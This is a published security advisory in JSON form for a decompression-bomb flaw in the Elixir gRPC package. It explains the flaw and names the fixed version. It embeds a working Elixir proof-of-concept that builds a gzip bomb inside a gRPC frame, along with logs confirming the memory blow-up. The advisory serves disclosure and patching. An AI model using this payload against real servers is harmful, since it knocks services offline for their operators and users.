CVE-2026-53430: Grpc GRPC Erlang Package Has Unbounded Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6ccx-9c9f-327w",
  "modified" : "2026-08-25T18:12:58Z",
  "published" : "2026-08-25T18:12:58Z",
  "aliases" : [ "CVE-2026-53430" ],
  "summary" : "gRPC Erlang package has unbounded gzip decompression (decompression bomb)",
  "details" : "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~> 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server's request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -> claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "grpc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.4.0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/pull/543"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-53430.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/elixir-grpc/grpc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:12:58Z",
    "nvd_published_at" : "2026-06-15T23:16:46Z"
  }
}